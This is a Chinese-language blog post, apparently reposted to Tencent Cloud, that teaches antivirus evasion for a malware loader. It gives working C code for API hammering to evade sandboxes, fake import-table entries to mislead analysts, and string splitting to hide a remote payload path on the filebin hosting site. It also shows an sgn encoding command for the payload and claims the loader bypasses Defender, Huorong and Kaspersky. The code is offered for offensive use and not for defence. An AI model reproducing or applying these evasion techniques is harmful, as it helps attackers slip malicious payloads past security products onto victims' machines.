admin管理员组

文章数量:1794759

免杀卡巴斯基及字符串加密

Part1 前言

大家好,我是余老师。今天分享下免杀制作过程中一些技术,以及代码中的字符串加密。

Part2 技术分析

首先看下我这段main.c入口函数中的部分代码,简单5行代码采用了3种技术:

代码语言:javascript代码运行次数:0运行复制
    // 技术规避沙箱检测 修改程序的导入地址表反调试
    ApiHammering(2000);
    IatCamouflage();

    unsigned char* pPayload = NULL;

    PSTR url = "filebin";
    PSTR endpoint = "/wdp212yhlyfy0lix/payload_x64.bin.sgn";

首先是ApiHammering技术,函数在下面,这是规避技术中的一种,目的是制造一些大量无用的看似正常的API操作,这里使用的是读写文件操作。

其次是IatCamouflage技术,IAT是导入表的意思,IatCamouflage(导入表伪装),与此同时还有一种技术是IATObfuscation(导入表混淆)。

逆向工程通常会依赖于导入表来理解程序的功能和行为,这个技术的目的就是欺骗程序的功能和行为。这有助于减轻二进制文件的可疑性,使其不太可能被标记为恶意,比如我们通常把程序拖到DIE中查看导入表函数以大致判断其行为。

再就是分离加载的技术,从远程加载payload,以降低熵值。但这里是明文,正是本文需要介绍的。

  • API冲击技术

(ApiHamme.c)实现了一个名为ApiHammering的函数,首先是创建临时文件并写入随机数据,然后是获取临时文件夹路径,然后是循环创建临时文件并写入随机数据,清理数据,使用时反复操作2000次,运行程序时,磁盘疯狂读写,蓝队看了都流泪。

代码语言:javascript代码运行次数:0运行复制
#include <Windows.h>

#define TMPFILE  L"delays.tmp"

BOOL ApiHammering(DWORD Stress)
{
  WCHAR    szPath[MAX_PATH * 2];
  WCHAR    szTmpPath[MAX_PATH];
  HANDLE    hRFile = INVALID_HANDLE_VALUE;
  HANDLE    hWFile = INVALID_HANDLE_VALUE;
  DWORD    dwNumberOfBytesRead = NULL;
  DWORD    dwNumberOfBytesWritten = NULL;
  PBYTE    pRandBuffer = NULL;
  SIZE_T    sBufferSize = 0xFFFFF;
  INT      Random = 0;

  // Fetch tmp folder
  if (!GetTempPathW(MAX_PATH, szTmpPath)) {
    goto _Cleanup;
  }

  // Constructing the full file path 
  wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);

  for (SIZE_T i = 0; i < Stress; i++)
  {
    // Creating the file in write mode
    if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
      goto _Cleanup;
    }

    // Allocating a buffer
    pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
    srand(time(NULL));
    Random = rand() % 0xFF;
    memset(pRandBuffer, Random, sBufferSize);

    // Writing the random data into the file
    if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
      printf("[*] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
      goto _Cleanup;
    }

    // Clearing the buffer & closing the handle of the file
    RtlZeroMemory(pRandBuffer, sBufferSize);
    CloseHandle(hWFile);

    // Opening the file in read mode & delete when closed
    if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
      goto _Cleanup;
    }

    // Reading the random data written before   
    if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
      printf("[*] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
      goto _Cleanup;
    }

    RtlZeroMemory(pRandBuffer, sBufferSize);
    HeapFree(GetProcessHeap(), NULL, pRandBuffer);

    // Closing the handle of the file which will delete it
    CloseHandle(hRFile);
  }
  return TRUE;

_Cleanup:
  return FALSE;
}
  • 导入表伪装技术

函数搞了一个不成立的if判断,然后执行了一系列虚假的Windows API的调用,我们把编译后的程序拖到DIE中确认下,确实在里面。杀毒软件看了都懵逼这程序到底要干什么。

代码语言:javascript代码运行次数:0运行复制
VOID IatCamouflage() {

  PVOID    pAddress = NULL;
  int* A = (int*)Helper(&pAddress);

  // Impossible if-statement that will never run
  if (*A > 350) {

    // some random whitelisted WinAPIs
    unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
    i = GetLastError();
    i = SetCriticalSectionSpinCount(NULL, NULL);
    i = GetWindowContextHelpId(NULL);
    i = GetWindowLongPtrW(NULL, NULL);
    i = RegisterClassW(NULL);
    i = IsWindowVisible(NULL);
    i = ConvertDefaultLocale(NULL);
    i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
    i = IsDialogMessageW(NULL, NULL);
  }

  // Freeing the buffer allocated in 'Helper'
  HeapFree(GetProcessHeap(), 0, pAddress);
}

Part3 字符串加密解密

由于我们的payload路径是写死在代码中的,这显然是存在风险的,这会显示在字符串列表中直接看得见,另外payload我通常使用sgn编码个6次,反正白送。

代码语言:javascript代码运行次数:0运行复制
    PSTR url = "filebin";
    PSTR endpoint = "/wdp212yhlyfy0lix/payload_x64.bin.sgn"; //sgn.exe -i payload_x64.bin -o payload_x64.bin.sgn -a 64 -c 6

把程序丢到DIE中,检查字符串,发现存在硬编码问题。

遇到这种问题,我们把它混淆,将字符串分割成多个部分,并在运行时进行拼接。使得字符串不会在可执行文件中以明文形式出现。

代码语言:javascript代码运行次数:0运行复制
    // 函数用于动态拼接字符串
char* concatStrings(const char* str1, const char* str2) {
    size_t len1 = strlen(str1);
    size_t len2 = strlen(str2);
    char* result = (char*)malloc(len1 + len2 + 1); // +1 是为了存储字符串结束符 '\0'
    if (result == NULL) {
        perror("内存分配失败");
        exit(EXIT_FAILURE);
    }
    strcpy(result, str1);
    strcat(result, str2);
    return result;
}


    
    // 原始字符串
    const char* url_part1 = "file";
    const char* url_part2 = "bin";
    const char* endpoint_part1 = "/wdp";
    const char* endpoint_part2 = "212yhlyfy0lix";
    const char* endpoint_part3 = "/payload_x64.bin.sgn";

    // 混淆后的字符串
    char* url = concatStrings(url_part1, url_part2);
    char* endpoint = concatStrings(concatStrings(endpoint_part1, endpoint_part2), endpoint_part3);

然后编译程序再检查下字符串,确实拆开了,不显示filebin托管站点了。

那我们拆更细一些,使这个DIE什么都不认识。

代码语言:javascript代码运行次数:0运行复制
    // 原始字符串
    const char* url_part1 = "fi";
    const char* url_part2 = "le";
    const char* url_part3 = "bin";
    const char* url_part4 = "";
    const char* endpoint_part1 = "/wd";
    const char* endpoint_part2 = "p2";
    const char* endpoint_part3 = "12";
    const char* endpoint_part4 = "yh";
    const char* endpoint_part5 = "ly";
    const char* endpoint_part6 = "fy0lix";
    const char* endpoint_part7 = "/pay";
    const char* endpoint_part8 = "load";
    const char* endpoint_part9 = "_x64";
    const char* endpoint_part10 = ".bin";
    const char* endpoint_part11 = ".sgn";

    // 混淆后的字符串,更细致地拆分和拼接
    char* url = concatStrings(concatStrings(url_part1, url_part2), concatStrings(url_part3, url_part4));
    char* endpoint = concatStrings(concatStrings(concatStrings(concatStrings(endpoint_part1, endpoint_part2), endpoint_part3),
                                                  concatStrings(concatStrings(endpoint_part4, endpoint_part5), endpoint_part6)),
                                   concatStrings(concatStrings(concatStrings(endpoint_part7, endpoint_part8), endpoint_part9),
                                                  concatStrings(endpoint_part10, endpoint_part11)));

此时丢进DIE,什么字符串都搜不到了。

Part3 免杀效果

先把反虚拟机段代码注释下, 切到不同的windows10虚拟机快照上,惊奇的发现我们免杀了Defender, 火绒,卡巴斯基,至于360,那就随它去吧!

代码语言:javascript代码运行次数:0运行复制
    // 反沙箱技术检测
   
 //   if (checkVirtualization() || checkDebugger() || checkLowActivity() || checkHardwareConfiguration() || checkSandboxByFileName()) {
 //      exit(0);
 //   }
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2024-07-06,如有侵权请联系 cloudcommunity@tencent 删除程序函数加密字符串null

本文标签: 免杀卡巴斯基及字符串加密